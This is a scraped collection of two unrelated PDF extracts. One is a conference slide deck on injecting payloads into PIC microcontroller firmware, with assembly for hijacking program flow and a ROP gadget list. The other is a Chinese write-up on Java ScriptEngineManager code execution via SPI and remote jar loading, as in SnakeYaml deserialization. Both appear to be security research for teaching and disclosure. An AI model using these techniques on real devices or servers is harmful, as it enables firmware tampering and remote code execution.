CALL 0x60 (EC30 F000)
Fixed jump
Original offset + payload length
Original jump
Three CALL fixed after injection
@UnaPibaGeek
AUTOMATING PAYLOAD INJECTION_
https://github.com/UnaPibaGeek/UCPI
@UnaPibaGeek
STACK
PAYLOAD INJECTION:
CONTROLLING PROGRAM FLOW_
@UnaPibaGeek
STKPTR, TOSU, TOSH AND TOSL_
STKPTR = Stack Pointer register
TOSU, TOSH and TOSL = Top of Stack registers
@UnaPibaGeek
PROGRAM FLOW CONTROL_
INCF STKPTR,F
// SP increment
MOVLW 0x00
MOVWF TOSU
// TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH
// TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL
// TOSL = 0x72
RETURN
Jump to 0x000C72
@UnaPibaGeek
PROGRAM FLOW CONTROL_
INCF STKPTR,F
// SP increment
MOVLW 0x00
MOVWF TOSU
// TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH
// TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL
// TOSL = 0x72
RETURN
Jump to 0x000C72
SP Increment
TOS = 0x000024
Jump to 0x000024
@UnaPibaGeek
PROGRAM FLOW CONTROL_
INCF STKPTR,F
// SP increment
MOVLW 0x00
MOVWF TOSU
// TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH
// TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL
// TOSL = 0x72
RETURN
Jump to 0x000C72
SP Increment
TOS = 0x000024
Jump to 0x000024
@UnaPibaGeek
PROGRAM FLOW CONTROL_
INCF STKPTR,F
// SP increment
MOVLW 0x00
MOVWF TOSU
// TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH
// TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL
// TOSL = 0x72
RETURN
Jump to 0x000C72
SP Increment
TOS = 0x000024
Jump to 0x000024
@UnaPibaGeek
ROP-CHAIN_
ROP gadgets:
0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E
0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E
0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E
0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E
0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E
0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E
0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E
0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E
RET = 0x1200
(last)
(first)
@UnaPibaGeek
ROP-CHAIN_
ROP gadgets:
0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E
0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E
0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E
0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E
0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E
0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E
0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E
0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E
RET = 0x1200
(last)
(first)
Gadget example at 0x0040:
RETURN or RETLW
@UnaPibaGeek
ROP-CHAIN_
ROP gadgets:
0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E
0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E
0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E
0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E
0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E
0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E
0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E
0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E
RET = 0x1200
(last)
(first)
Gadget example at 0x0040:
RETURN or RETLW
@UnaPibaGeek
PROGRAM MEMORY
PROTECTIONS_
@UnaPibaGeek
CODE PROTECTION_
Microchip Config Directives
Program memory dump still works
@UnaPibaGeek
BOOT AND DATA PROTECTION_
Microchip Config Directives
Program memory dump doesn’t work
@UnaPibaGeek
CONCLUSIONS_
@UnaPibaGeek
SPECIAL THANKS_
Sol (@encodedwitch)
Nico Waisman (@nicowaisman)
Dreamlab Technologies
THANK YOU_
SHEILA A. BERTA (@UNAPIBAGEEK) | pdf |
ScriptEngineManager代码执行
ScriptEngineManager 是用于 java 与 js 之间的相互调用。这个类在 jdk6 中存在。
初始化
ScriptEngineManager 类有两个初始化方法，一个有参，一个无参。有参的初始化方法是传递一
个 ClassLoader ，无参的构造方法是使用进程本身的 CLassLoader 。
这里可以回顾一下 SnakeYaml 反序列化，其中就用到了 ScriptEngineManager 类，传递一个
URLClassLoader ，然后利用 SPI 机制达到代码执行。所以此处可以先回顾一下这个利用过程。
SnakeYaml 反序列化中的初始化
SPI
SPI ，全称为 Service Provider Interface ，是一种服务发现机制。它通过在 ClassPath 路径
下的 META-INF/services 文件夹查找文件，自动加载文件里所定义的类。参考文章：深入理解SPI
机制
举个例子
首先定义接口，完成两个实现类
在 classpath 中添加SPI搜索文件
通过 ServiceLoader.load 或者 Service.providers 两个方法来拿到实现类的实例。
ScriptEngineManager 中 SPI 的过程
首先要创建一个类实现接口 javax.script.ScriptEngineFactory ，至于为啥先按下不表。然后
和上面一样添加一个 SPI 的搜索文件。注意这个文件名是实现的接口的全类名。然后上一个实验的
内容最后清空一下，免得出错。之后打包成 jar
通过 ScriptEngineManager 触发 SPI 机制，然后弹计算器。
成功远程加载了 jar 包，弹出计算机
debug 一下
new ScriptEngineManager(urlClassLoader) -> init(loader); -> initEngines(loader); -
> getServiceLoader(loader) 整个流程便是这个样子的，并不复杂，在
getServiceLoader(loader) 中通过 ServiceLoader.load 的方式去获取实现类实例。这里可以
看到传递的类对象是 ScriptEngineFactory ，所以要实现的接口也是这一个。
之后遍历这个迭代器，操作和实验上的一样，在 next() 方法中会创建类对象，并且创建一个对
象。这就可以触发我们写的恶意代码了。
好了，这个我们研究完了，之后来看看怎么通过 ScriptEngineManager 执行命令吧。
ScriptEngineManager 的使用
js 风格的 java 。。。。。人麻了 | pdf |
Subsets and Splits